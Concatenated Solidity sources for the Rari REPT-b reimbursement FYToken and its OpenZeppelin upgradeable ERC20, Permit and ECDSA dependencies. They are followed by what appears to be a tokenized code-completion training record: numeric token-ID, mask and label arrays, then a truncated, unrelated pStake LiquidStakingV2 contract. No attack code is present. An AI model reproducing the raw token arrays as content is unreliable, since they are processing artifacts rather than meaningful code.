// SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/draft-ERC20PermitUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "./IFYToken.sol"; /// @title FYToken /// @author David Lucid <[email protected]> (https://github.com/davidlucid) /// @author David Mihal (https://github.com/dmhial) /// @notice Rari Ethereum Pool Reimbursement Tokens (REPT-b) are YieldSpace fyTokens representing future reimbursements to Rari Ethereum Pool hack victims. contract FYToken is Initializable, ERC20PermitUpgradeable, IFYToken { /// @dev Asset that is returned on redemption. uint256 public override maturity; /// @dev Unix time at which redemption of fyToken for underlying are possible address public override underlying; /// @dev Initializer function function initialize( uint256 _maturity, uint256 mintAmount, address _underlying, string memory name, string memory symbol ) initializer public { __ERC20_init(name, symbol); __ERC20Permit_init(name); require(_maturity > 0, "Invalid maturity."); require(mintAmount > 0, "Invalid mint amount."); require(_underlying != address(0), "Invalid underlying."); maturity = _maturity; underlying = _underlying; _mint(msg.sender, mintAmount); } /// @dev Transfer to multiple addresses function multiTransfer(address[] memory recipients, uint256[] memory amounts) external { require(recipients.length > 0 && amounts.length == recipients.length); for (uint256 i = 0; i < recipients.length; i++) transfer(recipients[i], amounts[i]); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-IERC20PermitUpgradeable.sol"; import "../ERC20Upgradeable.sol"; import "../../../utils/cryptography/draft-EIP712Upgradeable.sol"; import "../../../utils/cryptography/ECDSAUpgradeable.sol"; import "../../../utils/CountersUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20PermitUpgradeable is Initializable, ERC20Upgradeable, IERC20PermitUpgradeable, EIP712Upgradeable { using CountersUpgradeable for CountersUpgradeable.Counter; mapping (address => CountersUpgradeable.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private _PERMIT_TYPEHASH; /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ function __ERC20Permit_init(string memory name) internal initializer { __Context_init_unchained(); __EIP712_init_unchained(name, "1"); __ERC20Permit_init_unchained(name); } function __ERC20Permit_init_unchained(string memory name) internal initializer { _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); } /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSAUpgradeable.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { CountersUpgradeable.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; /// @title FYToken /// @author David Lucid <[email protected]> (https://github.com/davidlucid) /// @author David Mihal (https://github.com/dmhial) /// @notice Rari Ethereum Pool Reimbursement Tokens (REPT-b) are YieldSpace fyTokens representing future reimbursements to Rari Ethereum Pool hack victims. interface IFYToken { /// @dev Asset that is returned on redemption. function underlying() external view returns (address); /// @dev Unix time at which redemption of fyToken for underlying are possible function maturity() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20PermitUpgradeable { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20Upgradeable.sol"; import "./extensions/IERC20MetadataUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable, IERC20MetadataUpgradeable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[45] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSAUpgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712Upgradeable is Initializable { /* solhint-disable var-name-mixedcase */ bytes32 private _HASHED_NAME; bytes32 private _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ function __EIP712_init(string memory name, string memory version) internal initializer { __EIP712_init_unchained(name, version); } function __EIP712_init_unchained(string memory name, string memory version) internal initializer { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, block.chainid, address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSAUpgradeable.toTypedDataHash(_domainSeparatorV4(), structHash); } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal virtual view returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal virtual view returns (bytes32) { return _HASHED_VERSION; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSAUpgradeable { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } } else if (signature.length == 64) { // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { let vs := mload(add(signature, 0x40)) r := mload(add(signature, 0x20)) s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } } else { revert("ECDSA: invalid signature length"); } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; }
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't need to send a transaction, and thus is not required to hold Ether at all./ solhint-disable-next-line func-name-mixedcase
interface IERC20PermitUpgradeable { function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; function nonces(address owner) external view returns (uint256); function DOMAIN_SEPARATOR() external view returns (bytes32); } }
1,122,903
[ 1, 1358, 434, 326, 4232, 39, 3462, 13813, 305, 2710, 15632, 6617, 4524, 358, 506, 7165, 3970, 14862, 16, 487, 2553, 316, 15605, 326, 288, 457, 1938, 97, 707, 16, 1492, 848, 506, 1399, 358, 2549, 392, 2236, 1807, 4232, 39, 3462, 1699, 1359, 261, 5946, 288, 45, 654, 39, 3462, 17, 5965, 1359, 6792, 635, 3430, 310, 279, 883, 6726, 635, 326, 2236, 18, 2525, 486, 283, 6291, 603, 288, 45, 654, 39, 3462, 17, 12908, 537, 5779, 326, 1147, 10438, 2236, 3302, 1404, 1608, 358, 1366, 279, 2492, 16, 471, 12493, 353, 486, 1931, 358, 6887, 512, 1136, 622, 777, 18, 19, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 1326, 17, 529, 17, 19562, 3593, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 3462, 9123, 305, 10784, 429, 288, 203, 565, 445, 21447, 12, 2867, 3410, 16, 1758, 17571, 264, 16, 2254, 5034, 460, 16, 2254, 5034, 14096, 16, 2254, 28, 331, 16, 1731, 1578, 436, 16, 1731, 1578, 272, 13, 3903, 31, 203, 203, 565, 445, 1661, 764, 12, 2867, 3410, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 27025, 67, 4550, 1435, 3903, 1476, 1135, 261, 3890, 1578, 1769, 203, 97, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright [2019] - [2021], PERSISTENCE TECHNOLOGIES PTE. LTD. and the pStake-smartContracts contributors SPDX-License-Identifier: Apache-2.0 */ pragma solidity >=0.7.0; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; import "./interfaces/ISTokensV2.sol"; import "./interfaces/IUTokensV2.sol"; import "./interfaces/ILiquidStakingV2.sol"; import "./libraries/FullMath.sol"; contract LiquidStakingV2 is ILiquidStakingV2, PausableUpgradeable, AccessControlUpgradeable { using SafeMathUpgradeable for uint256; using FullMath for uint256; //Private instances of contracts to handle Utokens and Stokens IUTokensV2 public _uTokens; ISTokensV2 public _sTokens; // defining the fees and minimum values uint256 private _minStake; uint256 private _minUnstake; uint256 private _stakeFee; uint256 private _unstakeFee; uint256 public _valueDivisor; // constants defining access control ROLES bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); // variables pertaining to unbonding logic uint256 private _unstakingLockTime; uint256 private _epochInterval; uint256 private _unstakeEpoch; uint256 private _unstakeEpochPrevious; //Mapping to handle the Expiry period mapping(address => uint256[]) public _unstakingExpiration; //Mapping to handle the Expiry amount mapping(address => uint256[]) public _unstakingAmount; //mappint to handle a counter variable indicating from what index to start the loop. mapping(address => uint256) public 